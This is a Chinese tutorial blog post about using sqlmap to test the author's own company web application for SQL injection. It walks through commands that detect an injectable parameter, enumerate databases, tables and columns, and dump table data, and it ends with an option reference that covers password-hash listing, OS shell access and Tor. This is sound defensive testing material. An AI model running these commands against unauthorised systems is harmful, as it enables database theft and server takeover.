使用sqlmap进行SQL注入检测

纵然是瞬间 提交于 2019-11-28 05:03:52

最近公司项目被扫描出有SQL注入的漏洞,通过百度之后,决定使用sqlmap进行SQL注入的检测。这里仅仅是记录一下注入检测的步骤。

检测前准备

sqlmap是一个python编写的工具,因此我们首先要进行python环境的搭建,然后再从sqlmap官网下载最新版本。

检测步骤

查看需要检测的注入点

首先我们需要访问自己的项目,找到一个需要检测的url,这个url需要对应后台的处理,这个url对应的后台需要接收参数,并且会将我们的参数作为sql的一部分去数据库进行查询之类的操作。

如 我们有个链接 http://192.168.21.12:8080/mylink.action?userCode=admin

URL检测是否存在注入点

使用python sqlmap.py -u "http://192.168.21.12:8080/mylink.action?userCode=admin" --batch

这里--batch表示不需要用户输入,使用默认行为,否则会有一些提示选择需要用户进行。

如果此URL中存在SQL注入,那么将会出现如下画面。并且可以看到 这里告诉我们后台使用的数据库类型与版本是SQLServer 2008.

 获取到数据库名称

这里我们使用

python sqlmap.py -u URL --dbs --batch

可以获取到此实例下的所有数据库名称。

使用python sqlmap.py -u URL --current-db --batch

可以获取当前系统使用的数据库名称。

获取此数据库下所有表名称

在获取到数据库名称之后,我们使用

python sqlmap.py -u URL -D 数据库名称 --tables --batch

可以获取到这个数据库下所有的表名

获取表的所有字段

我们找到我们感兴趣的表,然后获取这个表的所有字段

python sqlmap.py -u URL -D 数据库名 -T 表名 --columns --batch

获取表中的数据

我们使用

python sqlmap.py -u URL -D 数据库名 -T 表名 -C "字段名(多字段用,分隔)" --dump --batch

这样会将对应字段的值全部查询并保存起来,如果数目比较大 也可以指定 --start --stop 来指定获取哪些数据。

 可以看到这里我们获取一条数据,并且数据会保存在CSV中,要注意如果我们获取到的数据中有加密的,会默认进行暴力破解,所以会有些慢。

结语

至此,对于sqlmap的简单使用就结束了,我们可以看到最简单的使用,就已经可以将我们的整个数据给爬取了,因此在日常工作中一定要注意代码规范,尽量避免SQL注入的出现。

补充说明(sqlmap选项)

目标:至少要选中一个参数

-u URL, --url=URL   目标为 URL (例如. "http://www.site.com/vuln.php?id=1")

-g GOOGLEDORK       将谷歌dork的结果作为目标url

请求:这些选项可用于指定如何连接到目标URL

--data=DATA         数据字符串通过POST发送

--cookie=COOKIE     HTTP Cookie的值

--random-agent      随机选择 HTTP User-Agent 头的值

--proxy=PROXY       使用代理去连接目标URL

--tor               使用匿名网络

--check-tor         检查Tor是否正确使用 

注入:这些选项可用于指定要测试哪些参数,提供自定义注入负载和可选篡改脚本

-p TESTPARAMETER    可测试的参数

--dbms=DBMS         将后端DBMS强制到此值

检测:这些选项可用于定制检测阶段

--level=LEVEL       执行的测试级别(1-5, 默认 1)

--risk=RISK         执行测试的风险 (1-3, 默认 1)

技术:这些选项可用于调整特定SQL注入的测试的技术

 --technique=TECH    SQL注入技术选择 (默认 "BEUSTQ")

枚举:T这些选项可用于枚举后端数据库管理系统的信息、结构和数据表。此外,还可以运行自己的SQL语句

-a, --all           检索全部

 -b, --banner        检索 banner

--current-user      检索当前用户

--current-db        检索当前数据库

--passwords         列出用户密码的hash值

 --tables            列出表

 --columns           列出字段

-schema            列出DBMS schema

 --dump              Dump DBMS数据库表的条目

--dump-all          Dump 所有DBMS数据库表的条目

 -D DB               指定数据库

 -T TBL              指定表

 -C COL              指定字段

操作系统访问:

这些选项可用于访问后端数据库管理系统底层操作系统

--os-shell          提示为交互式操作系统shell

--os-pwn            提示为OOB外壳,Meterpreter或VNC

通用:

这些选项可用于设置一些通用的工作参数

--batch             永远不要要求用户输入,使用默认行为

--flush-session     刷新当前目标的会话文件

 杂项:

--sqlmap-shell      提示输入交互式sqlmap shell

--wizard            初学者的简单向导界面

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!